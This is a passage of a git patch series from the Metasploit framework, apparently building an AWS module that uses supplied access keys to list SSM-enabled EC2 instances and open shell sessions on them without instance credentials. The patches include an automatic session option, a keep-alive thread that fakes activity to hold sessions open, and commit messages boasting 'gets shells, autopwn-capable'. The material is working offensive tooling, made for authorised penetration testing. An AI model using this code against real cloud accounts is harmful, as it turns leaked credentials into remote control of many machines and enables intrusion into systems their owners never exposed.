fail_with(Failure::UnexpectedReply, e.message) + else + raise e + end + end + + def enumerate_regions + regions = [] + + ec2 = Aws::EC2::Resource.new( + region: 'us-east-1', + access_key_id: datastore['ACCESS_KEY_ID'], + secret_access_key: datastore['SECRET_ACCESS_KEY'] + ) + + ec2_regions = ec2.client.describe_regions.data.regions + ec2_regions.each do |r| + regions.append(r.region_name) + end + + regions + end + + def run + regions = datastore['REGION'] ? [datastore['REGION']] : regions = enumerate_regions() + credentials = ::Aws::Credentials.new(datastore['ACCESS_KEY_ID'], datastore['SECRET_ACCESS_KEY']) + regions.each do |region| + vprint_status "Checking #{region}..." + client = ::Aws::SSM::Client.new( + region: region, + credentials: credentials, + ) + inv_params = { filters: [ + { + key: "AWS:InstanceInformation.InstanceStatus", + values: ["Terminated"], + type: "NotEqual", + }, + { + key: "AWS:InstanceInformation.ResourceType", + values: ['EC2Instance'], + type: "Equal", + } + ]} + ssm_ec2 = client.get_inventory(inv_params).entities.map {|e| e.data["AWS:InstanceInformation"].content}.flatten + ssm_ec2.each do |ssm_host| + vprint_good JSON.pretty_generate(ssm_host) + # report host? + # report services? + # report notes? + # auto-start SSM session? + end + rescue Seahorse::Client::NetworkingError => e + print_error e.message + print_error 'Confirm region name (eg. us-west-2) is valid or blank before retrying' + rescue ::Exception => e + handle_aws_errors(e) + end +end From eba4c4b0479f9d6021caffa934956896c3d7f46f Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Tue, 3 Jan 2023 20:38:10 -0500 Subject: [PATCH 010/415] Spoonfeed the skiddies: auto-sessions for SSM enum Enable session acquisition from AWS SSM enumeration module simiar to how the telnet login scanner acquires sessions on the sockets exposed. Testing Tested execution - finds systems, gets shells, autopwn-capable --- modules/auxiliary/cloud/aws/enum_ssm.rb | 100 ++++++++++++++++-------- 1 file changed, 69 insertions(+), 31 deletions(-) diff --git a/modules/auxiliary/cloud/aws/enum_ssm.rb b/modules/auxiliary/cloud/aws/enum_ssm.rb index d73f8e74c5690..ce4818ee6c2da 100644 --- a/modules/auxiliary/cloud/aws/enum_ssm.rb +++ b/modules/auxiliary/cloud/aws/enum_ssm.rb @@ -6,6 +6,8 @@ require 'aws-sdk-ssm' class MetasploitModule < Msf::Auxiliary + include Rex::Proto::Http::WebSocket::AmazonSsm + include Msf::Auxiliary::CommandShell def initialize(info = {}) super( update_info( @@ -17,16 +19,16 @@ def initialize(info = {}) associated with the account ), 'Author' => [ - 'Aaron Soto ' # EC2 enum module + 'Aaron Soto ', # EC2 enum module 'RageLtMan ' # SSM stuff ], - 'Author' => ['Aaron Soto '], 'License' => MSF_LICENSE ) ) register_options( [ + OptBool.new('GET_SSM_SESSION', [true, 'Automatically get SSM sessions once found', false]), OptInt.new('LIMIT', [false, 'Only return the specified number of results from each region']), OptString.new('REGION', [false, 'AWS Region (eg. "us-west-2")']), OptString.new('ACCESS_KEY_ID', [true, 'AWS Access Key ID (eg. "AKIAXXXXXXXXXXXXXXXX")', '']), @@ -64,35 +66,71 @@ def run regions = datastore['REGION'] ? [datastore['REGION']] : regions = enumerate_regions() credentials = ::Aws::Credentials.new(datastore['ACCESS_KEY_ID'], datastore['SECRET_ACCESS_KEY']) regions.each do |region| - vprint_status "Checking #{region}..." - client = ::Aws::SSM::Client.new( - region: region, - credentials: credentials, - ) - inv_params = { filters: [ - { - key: "AWS:InstanceInformation.InstanceStatus", - values: ["Terminated"], - type: "NotEqual", - }, - { - key: "AWS:InstanceInformation.ResourceType", - values: ['EC2Instance'], - type: "Equal", - } - ]} - ssm_ec2 = client.get_inventory(inv_params).entities.map {|e| e.data["AWS:InstanceInformation"].content}.flatten - ssm_ec2.each do |ssm_host| - vprint_good JSON.pretty_generate(ssm_host) - # report host? - # report services? - # report notes? - # auto-start SSM session? + begin + vprint_status "Checking #{region}..." + client = ::Aws::SSM::Client.new( + region: region, + credentials: credentials, + ) + inv_params = { filters: [ + { + key: "AWS:InstanceInformation.InstanceStatus", + values: ["Terminated"], + type: "NotEqual", + }, + { + key: "AWS:InstanceInformation.ResourceType", + values: ['EC2Instance'], + type: "Equal", + } + ]} + ssm_ec2 = client.get_inventory(inv_params).entities.map {|e| e.data["AWS:InstanceInformation"].content}.flatten + ssm_ec2.each do |ssm_host| + vprint_good JSON.pretty_generate(ssm_host) + if datastore['GET_SSM_SESSION'] + socket = get_ssm_socket(client, ssm_host['InstanceId']) + start_session(self, "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{socket.params.peerhost}:0)", datastore, false, socket.lsock) + end + # report host? + # report services? + # report notes? + end + rescue Seahorse::Client::NetworkingError => e + print_error e.message + print_error 'Confirm region name (eg. us-west-2) is valid or blank before retrying' + rescue ::Exception => e + handle_aws_errors(e) end - rescue Seahorse::Client::NetworkingError => e - print_error e.message - print_error 'Confirm region name (eg. us-west-2) is valid or blank before retrying' - rescue ::Exception => e - handle_aws_errors(e) + end + end + + def get_ssm_socket(client, ec2_id) + # Verify the connection params and availability of instance + inv_params = { filters: [ + { + key: "AWS:InstanceInformation.InstanceId", + values: [ec2_id], + type: "Equal", + } + ]} + inventory = client.get_inventory(inv_params) + # Extract peer info + if inventory.entities[0] and inventory.entities[0].id == ec2_id + peer_info = inventory.entities[0].data['AWS:InstanceInformation'].content[0] + else + raise "SSM target not found" + end + session_init = client.start_session({ + target: ec2_id, + document_name: 'SSM-SessionManagerRunShell' + }) + ssm_sock = connect_ssm_ws(session_init) + chan = ssm_sock.to_ssm_channel + chan.params.comm = Rex::Socket::Comm::Local unless chan.params.comm + chan.params.peerhost = peer_info['IpAddress'] + chan.params.peerport = 0 + chan.params.peerhostname = peer_info['ComputerName'] + chan.update_term_size + return chan end end From 955fb2ef3e19ddc08f4fc0a2570d4b63673b56cd Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Tue, 3 Jan 2023 21:20:07 -0500 Subject: [PATCH 011/415] SSM WebSocket session keep-alive The SSM session socket times out without data being sent at the upper (SSM) WS layer. Implement keep-alive in a separate thread which simply writes nothing into the channel at irregular intervals to simulate user activity. Testing: Sessions established with this code running have not timed-out in over 15m despite being completely unused --- lib/rex/proto/http/web_socket/amazon_ssm.rb | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index 4f375d4465fcd..628df55e97e6d 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -63,6 +63,16 @@ module SsmChannelMethods attr_accessor :rows attr_accessor :cols + def run_keepalive + @keepalive_thread = Rex::ThreadFactory.spawn('SsmChannel-Keepalive', false) do + while not closed? + write '' + Rex::ThreadSafe.sleep(::Random.rand * 10 + 15) + end + @keepalive_thread = nil + end + end + def acknowledge_output(output_frame) ack = output_frame.to_ack # ack.header.sequence_number = @out_seq_num @@ -132,7 +142,9 @@ def initialize(websocket, filter_echo = false) @ack_outputs = Set.new @filter_echo = filter_echo - super(websocket, write_type: :binary, mask_write: false) + ssm_sock = super(websocket, write_type: :binary, mask_write: false) + ssm_sock.run_keepalive + ssm_sock end def on_data_read(data, _data_type) From 60c2f0a48088cb7759556eee8e1a3b6a38b9899f Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Tue, 3 Jan 2023 22:00:14 -0500 Subject: [PATCH 012/415] SSM enumeration module filter and throttle Expand SSM enumeration module docs to explain full functionality. Enable the LIMIT configuration option to restricte results per region. Implement FILTER_EC2_ID configuration option to permit targeting of a specific instance for session initiation. Testing: Finds limtied sets of systems and initiates sessions Finds desired system ID and initiates session --- modules/auxiliary/cloud/aws/enum_ssm.rb | 21 +++++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/cloud/aws/enum_ssm.rb b/modules/auxiliary/cloud/aws/enum_ssm.rb index ce4818ee6c2da..6b35ef8470cb5 100644 --- a/modules/auxiliary/cloud/aws/enum_ssm.rb +++ b/modules/auxiliary/cloud/aws/enum_ssm.rb @@ -16,7 +16,15 @@ def initialize(info = {}) 'Description' => %q( Provided AWS credentials, this module will call the authenticated API of Amazon Web Services to list all SSM-enabled EC2 instances - associated with the account + accessible to the account. Once enumerated as SSM-enabled, the + instances can be controlled using out-of-band WebSocket sessions + provided by the AWS API (nominally, privileged out of the box). + This module provides not only the API enumeration identifying EC2 + instances accessible via SSM with given credentials, but enables + session initiation for all identified targets (without requiring + target-level credentials). The module also provides an EC2 ID + filter and a limiting throttle to prevent session stampedes or + expensive messes. ), 'Author' => [ 'Aaron Soto ', # EC2 enum module @@ -30,6 +38,7 @@ def initialize(info = {}) [ OptBool.new('GET_SSM_SESSION', [true, 'Automatically get SSM sessions once found', false]), OptInt.new('LIMIT', [false, 'Only return the specified number of results from each region']), + OptString.new('FILTER_EC2_ID', [false, 'Look for specific EC2 instance ID']), OptString.new('REGION', [false, 'AWS Region (eg. "us-west-2")']), OptString.new('ACCESS_KEY_ID', [true, 'AWS Access Key ID (eg. "AKIAXXXXXXXXXXXXXXXX")', '']), OptString.new('SECRET_ACCESS_KEY', [true, 'AWS Secret Access Key (eg. "CA1+XXXXXXXXXXXXXXXXXXXXXX6aYDHHCBuLuV79")', '']) @@ -84,12 +93,20 @@ def run type: "Equal", } ]} + + inv_params[:filters] << { + key: "AWS:InstanceInformation.InstanceId", + values: [datastore['FILTER_EC2_ID']], + type: "Equal", + } if datastore['FILTER_EC2_ID'] + ssm_ec2 = client.get_inventory(inv_params).entities.map {|e| e.data["AWS:InstanceInformation"].content}.flatten + ssm_ec2 = ssm_ec2[0...datastore['LIMIT']] if datastore['LIMIT'] ssm_ec2.each do |ssm_host| vprint_good JSON.pretty_generate(ssm_host) if datastore['GET_SSM_SESSION'] socket = get_ssm_socket(client, ssm_host['InstanceId']) - start_session(self, "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{socket.params.peerhost}:0)", datastore, false, socket.lsock) + start_session(self, "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{ssm_host['InstanceId']})", datastore, false, socket.lsock) end # report host? # report services? From 274bf6dcb7dbe03641ee38a39a2577da9bfb01fd Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 13 Jan 2023 09:54:34 -0500 Subject: [PATCH 013/415] Make SSM keepalive optional --- lib/msf/core/handler/bind_aws_ssm.rb | 4 +++- lib/rex/proto/http/web_socket/amazon_ssm.rb | 16 ++++++++++------ 2 files changed, 13 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index 95cd6288a69a7..091c402e2f03b 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -161,7 +161,8 @@ def initialize(info = {}) [ OptString.new('AWS_SSM_SESSION_DOC', [true, 'The SSM document to use for session requests', 'SSM-SessionManagerRunShell']), OptString.new('AWS_SSM_COMMAND_DOC', [true, 'The SSM document to use for command requests', 'AWS-RunShellScript']), - OptBool.new('AWS_SSM_FORCE_COMMANDS', [false, 'Force the session to use command abstraction without WebSockets', false]) + OptBool.new('AWS_SSM_FORCE_COMMANDS', [false, 'Force the session to use command abstraction without WebSockets', false]), + OptBool.new('AWS_SSM_KEEP_ALIVE', [false, 'Keep AWS SSM session alive with empty messages', true]) ], Msf::Handler::BindAwsSsm) self.bind_thread = nil @@ -261,6 +262,7 @@ def start_handler }) ssm_sock = connect_ssm_ws(session_init) chan = ssm_sock.to_ssm_channel + chan._start_ssm_keepalive if datastore['AWS_SSM_KEEP_ALIVE'] chan.params.comm = Rex::Socket::Comm::Local unless chan.params.comm chan.params.peerhost = peer_info['IpAddress'] chan.params.peerport = 0 diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index 628df55e97e6d..cfac8cd312129 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -63,9 +63,9 @@ module SsmChannelMethods attr_accessor :rows attr_accessor :cols - def run_keepalive + def _start_ssm_keepalive @keepalive_thread = Rex::ThreadFactory.spawn('SsmChannel-Keepalive', false) do - while not closed? + while not closed? or @websocket.closed? write '' Rex::ThreadSafe.sleep(::Random.rand * 10 + 15) end @@ -73,6 +73,12 @@ def run_keepalive end end + def close + @keepalive_thread.kill if @keepalive_thread + @keepalive_thread = nil + super + end + def acknowledge_output(output_frame) ack = output_frame.to_ack # ack.header.sequence_number = @out_seq_num @@ -140,11 +146,9 @@ def initialize(websocket, filter_echo = false) @out_seq_num = 0 @run_ssm_pub = true @ack_outputs = Set.new - @filter_echo = filter_echo + @filter_echo = filter_echo - ssm_sock = super(websocket, write_type: :binary, mask_write: false) - ssm_sock.run_keepalive - ssm_sock + super(websocket, write_type: :binary, mask_write: false) end def on_data_read(data, _data_type) From 14f992aa886535ac538715a5683823f24aa5a471 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 13 Jan 2023 09:55:51 -0500 Subject: [PATCH 014/415] Address some of @smcityre-r7's comments Explicitly `require 'aws-sdk-ec2'` in the aux module Fix the hard-coded region to use datastore option --- modules/auxiliary/cloud/aws/enum_ssm.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/cloud/aws/enum_ssm.rb b/modules/auxiliary/cloud/aws/enum_ssm.rb index 6b35ef8470cb5..d04880e390c71 100644 --- a/modules/auxiliary/cloud/aws/enum_ssm.rb +++ b/modules/auxiliary/cloud/aws/enum_ssm.rb @@ -4,6 +4,7 @@ ## require 'aws-sdk-ssm' +require 'aws-sdk-ec2' class MetasploitModule < Msf::Auxiliary include Rex::Proto::Http::WebSocket::AmazonSsm @@ -58,7 +59,7 @@ def enumerate_regions regions = [] ec2 = Aws::EC2::Resource.new( - region: 'us-east-1', + region: datastore['REGION'], access_key_id: datastore['ACCESS_KEY_ID'], secret_access_key: datastore['SECRET_ACCESS_KEY'] ) From 99b2e1d70935b36cbb365732b0cdeaef00254583 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Wed, 4 Jan 2023 11:58:36 -0600 Subject: [PATCH 015/415] add aws ssm gem to lock file --- Gemfile.lock | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Gemfile.lock b/Gemfile.lock index 8a5a4356aee86..703f795ad2b87 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -8,6 +8,7 @@ PATH aws-sdk-ec2 aws-sdk-iam aws-sdk-s3 + aws-sdk-ssm bcrypt bcrypt_pbkdf bson @@ -146,6 +147,9 @@ GEM aws-sdk-core (~> 3, >= 3.165.0) aws-sdk-kms (~> 1) aws-sigv4 (~> 1.4) + aws-sdk-ssm (1.146.0) + aws-sdk-core (~> 3, >= 3.165.0) + aws-sigv4 (~> 1.1) aws-sigv4 (1.5.2) aws-eventstream (~> 1, >= 1.0.2) bcrypt (3.1.18) From 3e54ae6e693c8b90fe939d482d1f967cac45a1d0 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 20 Jan 2023 22:22:58 -0500 Subject: [PATCH 016/415] Resolve crashes noted by @smcintyre-r7, simplify Bail out of console resize operation if ::IO.console doesn't exist Enforce REGION datastore option and remove the multi-region enum code by Aaron - users can write resource scripts if they need automation. --- lib/rex/proto/http/web_socket/amazon_ssm.rb | 1 + modules/auxiliary/cloud/aws/enum_ssm.rb | 110 ++++++++------------ 2 files changed, 45 insertions(+), 66 deletions(-) diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index cfac8cd312129..f0d46112f0962 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -120,6 +120,7 @@ def handle_acknowledge(ack_frame) end def update_term_size + return unless ::IO.console rows, cols = ::IO.console.winsize unless rows == self.rows && cols == self.cols set_term_size(rows, cols) diff --git a/modules/auxiliary/cloud/aws/enum_ssm.rb b/modules/auxiliary/cloud/aws/enum_ssm.rb index d04880e390c71..b678fb0380f4b 100644 --- a/modules/auxiliary/cloud/aws/enum_ssm.rb +++ b/modules/auxiliary/cloud/aws/enum_ssm.rb @@ -23,13 +23,12 @@ def initialize(info = {}) This module provides not only the API enumeration identifying EC2 instances accessible via SSM with given credentials, but enables session initiation for all identified targets (without requiring - target-level credentials). The module also provides an EC2 ID - filter and a limiting throttle to prevent session stampedes or - expensive messes. + target-level credentials) using the CreateSession mixin option. + The module also provides an EC2 ID filter and a limiting throttle + to prevent session stampedes or expensive messes. ), 'Author' => [ - 'Aaron Soto ', # EC2 enum module - 'RageLtMan ' # SSM stuff + 'RageLtMan ' ], 'License' => MSF_LICENSE ) @@ -37,10 +36,9 @@ def initialize(info = {}) register_options( [ - OptBool.new('GET_SSM_SESSION', [true, 'Automatically get SSM sessions once found', false]), OptInt.new('LIMIT', [false, 'Only return the specified number of results from each region']), OptString.new('FILTER_EC2_ID', [false, 'Look for specific EC2 instance ID']), - OptString.new('REGION', [false, 'AWS Region (eg. "us-west-2")']), + OptString.new('REGION', [true, 'AWS Region (eg. "us-west-2")']), OptString.new('ACCESS_KEY_ID', [true, 'AWS Access Key ID (eg. "AKIAXXXXXXXXXXXXXXXX")', '']), OptString.new('SECRET_ACCESS_KEY', [true, 'AWS Secret Access Key (eg. "CA1+XXXXXXXXXXXXXXXXXXXXXX6aYDHHCBuLuV79")', '']) ] @@ -55,70 +53,50 @@ def handle_aws_errors(e) end end - def enumerate_regions - regions = [] - - ec2 = Aws::EC2::Resource.new( - region: datastore['REGION'], - access_key_id: datastore['ACCESS_KEY_ID'], - secret_access_key: datastore['SECRET_ACCESS_KEY'] - ) - - ec2_regions = ec2.client.describe_regions.data.regions - ec2_regions.each do |r| - regions.append(r.region_name) - end - - regions - end - def run - regions = datastore['REGION'] ? [datastore['REGION']] : regions = enumerate_regions() - credentials = ::Aws::Credentials.new(datastore['ACCESS_KEY_ID'], datastore['SECRET_ACCESS_KEY']) - regions.each do |region| - begin - vprint_status "Checking #{region}..." - client = ::Aws::SSM::Client.new( - region: region, - credentials: credentials, - ) - inv_params = { filters: [ - { - key: "AWS:InstanceInformation.InstanceStatus", - values: ["Terminated"], - type: "NotEqual", - }, - { - key: "AWS:InstanceInformation.ResourceType", - values: ['EC2Instance'], - type: "Equal", - } - ]} - - inv_params[:filters] << { - key: "AWS:InstanceInformation.InstanceId", - values: [datastore['FILTER_EC2_ID']], + begin + vprint_status "Checking #{datastore['REGION']}..." + client = ::Aws::SSM::Client.new( + region: datastore['REGION'], + credentials: credentials, + ) + inv_params = { filters: [ + { + key: "AWS:InstanceInformation.InstanceStatus", + values: ["Terminated"], + type: "NotEqual", + }, + { + key: "AWS:InstanceInformation.ResourceType", + values: ['EC2Instance'], type: "Equal", - } if datastore['FILTER_EC2_ID'] + } + ]} + + inv_params[:filters] << { + key: "AWS:InstanceInformation.InstanceId", + values: [datastore['FILTER_EC2_ID']], + type: "Equal", + } if datastore['FILTER_EC2_ID'] - ssm_ec2 = client.get_inventory(inv_params).entities.map {|e| e.data["AWS:InstanceInformation"].content}.flatten - ssm_ec2 = ssm_ec2[0...datastore['LIMIT']] if datastore['LIMIT'] - ssm_ec2.each do |ssm_host| - vprint_good JSON.pretty_generate(ssm_host) - if datastore['GET_SSM_SESSION'] - socket = get_ssm_socket(client, ssm_host['InstanceId']) - start_session(self, "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{ssm_host['InstanceId']})", datastore, false, socket.lsock) - end - # report host? - # report services? - # report notes? + ssm_ec2 = client.get_inventory(inv_params).entities.map {|e| e.data["AWS:InstanceInformation"].content}.flatten + ssm_ec2 = ssm_ec2[0...datastore['LIMIT']] if datastore['LIMIT'] + ssm_ec2.each do |ssm_host| + vprint_good JSON.pretty_generate(ssm_host) + if datastore['CreateSession'] + socket = get_ssm_socket(client, ssm_host['InstanceId']) + start_session(self, "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{ssm_host['InstanceId']})", datastore, false, socket.lsock) end - rescue Seahorse::Client::NetworkingError => e - print_error e.message - print_error 'Confirm region name (eg. us-west-2) is valid or blank before retrying' - rescue ::Exception => e - handle_aws_errors(e) + # report host? + # report services? + # report notes? end + rescue Seahorse::Client::NetworkingError => e + print_error e.message + print_error "Confirm access to #{datastore['REGION']} with provided credentials" + rescue ::Exception => e + handle_aws_errors(e) + end end end From 589c2257e37690cbd730dfc50189ff82b173f9a2 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 20 Jan 2023 23:17:34 -0500 Subject: [PATCH 017/415] Implement reporting and pretty output --- modules/auxiliary/cloud/aws/enum_ssm.rb | 24 ++++++++++++++++++------ 1 file changed, 18 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/cloud/aws/enum_ssm.rb b/modules/auxiliary/cloud/aws/enum_ssm.rb index b678fb0380f4b..f4366eea44a2b 100644 --- a/modules/auxiliary/cloud/aws/enum_ssm.rb +++ b/modules/auxiliary/cloud/aws/enum_ssm.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Auxiliary include Rex::Proto::Http::WebSocket::AmazonSsm + include Msf::Auxiliary::Report include Msf::Auxiliary::CommandShell def initialize(info = {}) super( @@ -30,7 +31,8 @@ def initialize(info = {}) 'Author' => [ 'RageLtMan ' ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'CreateSession' => false } ) ) @@ -55,6 +57,7 @@ def handle_aws_errors(e) def run begin + credentials = ::Aws::Credentials.new(datastore['ACCESS_KEY_ID'], datastore['SECRET_ACCESS_KEY']) vprint_status "Checking #{datastore['REGION']}..." client = ::Aws::SSM::Client.new( region: datastore['REGION'], @@ -82,14 +85,24 @@ def run ssm_ec2 = client.get_inventory(inv_params).entities.map {|e| e.data["AWS:InstanceInformation"].content}.flatten ssm_ec2 = ssm_ec2[0...datastore['LIMIT']] if datastore['LIMIT'] ssm_ec2.each do |ssm_host| - vprint_good JSON.pretty_generate(ssm_host) + report_host( + host: ssm_host['IpAddress'], + os_flavor: ssm_host['PlatformName'], + os_name: ssm_host['PlatformType'], + os_sp: ssm_host['PlatformVersion'], + name: ssm_host['ComputerName'], + comments: "ec2-id: #{ssm_host['InstanceId']}" + ) + report_note( + host: ssm_host['IpAddress'], + type: ssm_host['AgentType'], + data: ssm_host['AgentVersion'] + ) + vprint_good("Found SSM host #{ssm_host['InstanceId']} (#{ssm_host['ComputerName']}) - #{ssm_host['IpAddress']}") if datastore['CreateSession'] socket = get_ssm_socket(client, ssm_host['InstanceId']) start_session(self, "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{ssm_host['InstanceId']})", datastore, false, socket.lsock) end - # report host? - # report services? - # report notes? end rescue Seahorse::Client::NetworkingError => e print_error e.message @@ -97,7 +110,6 @@ def run rescue ::Exception => e handle_aws_errors(e) end - end end def get_ssm_socket(client, ec2_id) From 453baca109e61dd04e79f9999bd2dcfe711b3d49 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sat, 21 Jan 2023 08:29:28 -0500 Subject: [PATCH 018/415] Drop mask_write, tweak logging --- lib/rex/proto/http/web_socket.rb | 8 +++----- lib/rex/proto/http/web_socket/amazon_ssm.rb | 16 ++++++++-------- 2 files changed, 11 insertions(+), 13 deletions(-) diff --git a/lib/rex/proto/http/web_socket.rb b/lib/rex/proto/http/web_socket.rb index bf0a3b72cbe7a..42db5ff0c2b05 100644 --- a/lib/rex/proto/http/web_socket.rb +++ b/lib/rex/proto/http/web_socket.rb @@ -38,13 +38,12 @@ def type? # @return [Rex::Socket::Parameters] attr_reader :params # Boolean flag to control frame masking on output - attr_accessor :mask_write # @param [WebSocket::Interface] websocket the WebSocket that this channel is being opened on # @param [nil, Symbol] read_type the data type(s) to read from the WebSocket, one of :binary, :text or nil (for both # binary and text) # @param [Symbol] write_type the data type to write to the WebSocket - def initialize(websocket, read_type: nil, write_type: :binary, mask_write: true) + def initialize(websocket, read_type: nil, write_type: :binary) initialize_abstraction # a read type of nil will handle both binary and text frames that are received @@ -54,7 +53,6 @@ def initialize(websocket, read_type: nil, write_type: :binary, mask_write: true) @websocket = websocket @read_type = read_type @write_type = write_type - @mask_write = mask_write @mutex = Mutex.new # beware of: https://github.com/rapid7/rex-socket/issues/32 @@ -133,9 +131,9 @@ def write(buf, length = nil) length = buf.length buf = on_data_write(buf) if @write_type == :binary - @websocket.put_wsbinary(buf, {mask: @mask_write}) + @websocket.put_wsbinary(buf) elsif @write_type == :text - @websocket.put_wstext(buf, {mask: @mask_write}) + @websocket.put_wstext(buf) end length diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index f0d46112f0962..4ac1436ac1349 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -82,27 +82,27 @@ def close def acknowledge_output(output_frame) ack = output_frame.to_ack # ack.header.sequence_number = @out_seq_num - @websocket.put_wsbinary(ack.to_binary_s, {mask: false}) + @websocket.put_wsbinary(ack.to_binary_s) # wlog("SsmChannel: acknowledge output #{output_frame.uuid}") output_frame.uuid end def handle_output_data(output_frame) - if @ack_outputs.include?(output_frame.uuid) + if @ack_message == output_frame.uuid # wlog("SsmChannel: repeat output #{output_frame.uuid}") else - @ack_outputs << acknowledge_output(output_frame) + @ack_message = acknowledge_output(output_frame) # TODO: handle Payload::* types if [PayloadType::Output, PayloadType::Error].any? {|e| e == output_frame.payload_type } if @filter_echo.is_a?(String) and output_frame.payload_data.strip == @filter_echo.strip - wlog("SsmChannel: filtering output #{@filter_echo}") + dlog("SsmChannel: filtering output #{@filter_echo}") @filter_echo = true return nil else return output_frame.payload_data end else - wlog("SsmChannel got unhandled output payload type: #{Payload.front_val(output_frame.payload_type)}") + wlog("SsmChannel got unhandled output payload type: #{Payload.from_val(output_frame.payload_type)}") end end nil @@ -139,17 +139,17 @@ def set_term_size(cols, rows) class SsmChannel < Rex::Proto::Http::WebSocket::Interface::Channel include SsmChannelMethods - attr_reader :run_ssm_pub, :out_seq_num, :ack_seq_num + attr_reader :run_ssm_pub, :out_seq_num, :ack_seq_num, :ack_message attr_accessor :filter_echo def initialize(websocket, filter_echo = false) @ack_seq_num = 0 @out_seq_num = 0 @run_ssm_pub = true - @ack_outputs = Set.new + @ack_message = nil @filter_echo = filter_echo - super(websocket, write_type: :binary, mask_write: false) + super(websocket, write_type: :binary) end def on_data_read(data, _data_type) From 27d6a89b99b36db07d941e8ef65971fb0595b3df Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sat, 21 Jan 2023 09:26:06 -0500 Subject: [PATCH 019/415] Use keepalive in SSM aux module --- modules/auxiliary/cloud/aws/enum_ssm.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/cloud/aws/enum_ssm.rb b/modules/auxiliary/cloud/aws/enum_ssm.rb index f4366eea44a2b..840466d7954dc 100644 --- a/modules/auxiliary/cloud/aws/enum_ssm.rb +++ b/modules/auxiliary/cloud/aws/enum_ssm.rb @@ -138,6 +138,7 @@ def get_ssm_socket(client, ec2_id) chan.params.peerhost = peer_info['IpAddress'] chan.params.peerport = 0 chan.params.peerhostname = peer_info['ComputerName'] + chan._start_ssm_keepalive chan.update_term_size return chan end From 61c2726620fe9d294a9b62332975b1f53143bbd1 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 1 Feb 2023 16:11:56 -0500 Subject: [PATCH 020/415] Fix NoMethodError for #opcode --- lib/rex/proto/http/web_socket.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/http/web_socket.rb b/lib/rex/proto/http/web_socket.rb index 42db5ff0c2b05..d00736bea9343 100644 --- a/lib/rex/proto/http/web_socket.rb +++ b/lib/rex/proto/http/web_socket.rb @@ -188,7 +188,7 @@ def put_wstext(value, opts = {}) # # Read a WebSocket::Frame from the peer. # - # @return [WebSocket::Frame] the frame that was received from the peer. + # @return [Nil, WebSocket::Frame] the frame that was received from the peer. def get_wsframe(_opts = {}) frame = Frame.new frame.header.read(self) @@ -232,7 +232,8 @@ def wsclose(opts = {}) frame.mask! put_wsframe(frame, opts = opts) while (frame = get_wsframe(opts)) - break if frame.opcode == Opcode::CONNECTION_CLOSE + break if frame.nil? + break if frame.header.opcode == Opcode::CONNECTION_CLOSE # all other frames are dropped after our connection close request is sent end From 687e82a9ed2fd6b47f2b7aa9194b211cfc93fc56 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 3 Feb 2023 15:29:19 -0500 Subject: [PATCH 021/415] Satisfy rubocop --- modules/auxiliary/cloud/aws/enum_ssm.rb | 155 +++++++++--------- .../payloads/singles/cmd/unix/bind_aws_ssm.rb | 37 ++--- .../singles/cmd/windows/bind_aws_ssm.rb | 37 ++--- 3 files changed, 118 insertions(+), 111 deletions(-) diff --git a/modules/auxiliary/cloud/aws/enum_ssm.rb b/modules/auxiliary/cloud/aws/enum_ssm.rb index 840466d7954dc..0e3ba023ef5ef 100644 --- a/modules/auxiliary/cloud/aws/enum_ssm.rb +++ b/modules/auxiliary/cloud/aws/enum_ssm.rb @@ -14,25 +14,30 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Amazon Web Services EC2 instance enumeration', - 'Description' => %q( - Provided AWS credentials, this module will call the authenticated - API of Amazon Web Services to list all SSM-enabled EC2 instances - accessible to the account. Once enumerated as SSM-enabled, the - instances can be controlled using out-of-band WebSocket sessions - provided by the AWS API (nominally, privileged out of the box). - This module provides not only the API 